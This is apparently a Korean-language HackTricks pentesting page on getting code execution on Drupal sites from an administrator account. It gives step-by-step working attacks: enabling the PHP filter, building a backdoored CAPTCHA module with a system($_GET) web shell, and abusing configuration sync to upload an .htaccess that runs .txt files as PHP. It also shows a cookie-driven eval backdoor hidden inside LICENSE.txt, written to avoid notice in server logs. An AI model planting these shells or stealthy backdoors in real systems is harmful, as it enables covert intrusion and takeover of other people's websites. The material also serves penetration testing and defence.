Drupal RCE

Support HackTricks

With PHP Filter Module

이전 버전의 Drupal **(8 이전)**에서는 관리자로 로그인하고 PHP filter 모듈을 활성화할 수 있었습니다. 이 모듈은 "내장된 PHP 코드/스니펫을 평가할 수 있게 합니다." 그러나 8 버전부터 이 모듈은 기본적으로 설치되지 않습니다.

php 플러그인이 설치되어야 합니다 (_/modules/php_에 접근하여 403이 반환되면 존재함, 찾을 수 없으면 php 플러그인이 설치되지 않음)

모듈 -> (확인) PHP Filter -> 구성 저장

그런 다음 콘텐츠 추가 -> 기본 페이지 또는 기사 선택 -> 본문에 php 쉘코드 작성 -> _텍스트 형식_에서 PHP 코드 선택 -> 미리보기 선택

마지막으로 새로 생성된 노드에 접근합니다:

curl http://drupal-site.local/node/3

PHP 필터 모듈 설치

현재 버전에서는 기본 설치 후 웹에만 접근하여 플러그인을 설치하는 것이 더 이상 불가능합니다.

버전 8부터는 PHP 필터 모듈이 기본적으로 설치되지 않습니다. 이 기능을 활용하기 위해서는 모듈을 직접 설치해야 합니다.

  1. Drupal 웹사이트에서 모듈의 최신 버전을 다운로드합니다.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. 다운로드가 완료되면 관리 > 보고서 > **사용 가능한 업데이트**로 이동합니다.

  4. **찾아보기**를 클릭하고, 다운로드한 디렉토리에서 파일을 선택한 후 **설치**를 클릭합니다.

  5. 모듈이 설치되면 **콘텐츠**를 클릭하고 새 기본 페이지를 생성합니다. 이는 Drupal 7 예제에서 했던 방식과 유사합니다. 다시 한 번, 텍스트 형식 드롭다운에서 PHP 코드를 선택하는 것을 잊지 마세요.

백도어 모듈

현재 버전에서는 기본 설치 후 웹에만 접근하여 플러그인을 설치하는 것이 더 이상 불가능합니다.

백도어 모듈은 기존 모듈에 쉘을 추가하여 생성할 수 있습니다. 모듈은 drupal.org 웹사이트에서 찾을 수 있습니다. CAPTCHA와 같은 모듈을 선택해 보겠습니다. 아래로 스크롤하여 tar.gz 아카이브의 링크를 복사합니다.

  • 아카이브를 다운로드하고 내용을 추출합니다.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • PHP 웹 셸을 다음 내용으로 생성합니다:

<?php
system($_GET["cmd"]);
?>
  • 다음으로, 폴더에 대한 접근 권한을 부여하기 위해 .htaccess 파일을 생성해야 합니다. 이는 Drupal이 /modules 폴더에 대한 직접 접근을 거부하기 때문에 필요합니다.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • 위의 구성은 /modules에서 파일을 요청할 때 / 폴더에 대한 규칙을 적용합니다. 이 두 파일을 captcha 폴더에 복사하고 아카이브를 만듭니다.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • 웹사이트에 관리자 접근 권한이 있다고 가정하고, 사이드바에서 **Manage**를 클릭한 다음 **Extend**를 클릭합니다. 다음으로 + Install new module 버튼을 클릭하면 http://drupal-site.local/admin/modules/install과 같은 설치 페이지로 이동합니다. 백도어가 있는 Captcha 아카이브로 이동하여 **Install**을 클릭합니다.

  • 설치가 성공하면 **/modules/captcha/shell.php**로 이동하여 명령을 실행합니다.

구성 동기화를 통한 Drupal 백도어

게시물 공유자 Coiffeur0x90

1부 (MediaMedia Library 활성화)

Extend 메뉴 (/admin/modules)에서 이미 설치된 플러그인으로 보이는 항목을 활성화할 수 있습니다. 기본적으로 플러그인 Media 및 _Media Library_는 활성화되지 않은 상태이므로 활성화하겠습니다.

활성화 전:

활성화 후:

2부 (Configuration synchronization 기능 활용)

우리는 Configuration synchronization 기능을 활용하여 Drupal 구성 항목을 덤프(내보내기)하고 업로드(가져오기)할 것입니다:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

system.file.yml 패치

먼저 allow_insecure_uploads의 첫 번째 항목을 패치하는 것으로 시작하겠습니다:

파일: system.file.yml


...

allow_insecure_uploads: false

...

다음으로:

파일: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

그런 다음, 두 번째 항목 file_extensions를 다음에서 패치합니다:

파일: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

다음으로:

파일: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

이 블로그 포스트에서는 사용하지 않지만, file_directory 항목을 임의로 정의할 수 있으며, 경로 탐색 공격에 취약하다는 점이 주목됩니다 (따라서 Drupal 파일 시스템 트리 내에서 위로 올라갈 수 있습니다).

Part 3 (기능 문서 추가 활용)

마지막 단계는 가장 간단하며, 두 개의 하위 단계로 나뉩니다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시어를 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것입니다. 두 번째는 우리의 페이로드를 포함하는 .txt 파일을 업로드하는 것입니다.

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

왜 이 트릭이 멋진가요?

웹 셸(우리가 LICENSE.txt라고 부를 것)을 웹 서버에 배포하면, $_COOKIE를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 나타납니다.

왜 우리의 웹 셸을 LICENSE.txt라고 이름 짓나요?

단순히 Drupal 코어에 이미 존재하는 다음 파일, 예를 들어 core/LICENSE.txt를 사용하면, 339줄과 17.6 KB 크기의 파일이 있어 중간에 작은 PHP 코드 조각을 추가하기에 완벽합니다(파일이 충분히 크기 때문에).

파일: 패치된 LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Part 3.1 (파일 .htaccess 업로드)

먼저, Add Document (/media/add/document) 기능을 활용하여 Apache 지시어가 포함된 파일(.htaccess)을 업로드합니다.

Part 3.2 (파일 LICENSE.txt 업로드)

그 다음, Add Document (/media/add/document) 기능을 다시 활용하여 라이선스 파일에 숨겨진 Webshell을 업로드합니다.

Part 4 (Webshell과의 상호작용)

마지막 부분은 Webshell과 상호작용하는 것으로 구성됩니다.

다음 스크린샷에서 볼 수 있듯이, Webshell에서 기대하는 쿠키가 정의되지 않으면 웹 브라우저를 통해 파일을 조회할 때 다음과 같은 결과를 얻습니다.

공격자가 쿠키를 설정하면 Webshell과 상호작용하고 원하는 명령을 실행할 수 있습니다.

로그에서 볼 수 있듯이, 요청된 것은 txt 파일뿐인 것처럼 보입니다.

이 기사를 읽어 주셔서 감사합니다. 여러분이 몇 개의 쉘을 얻는 데 도움이 되기를 바랍니다.

Support HackTricks

Last updated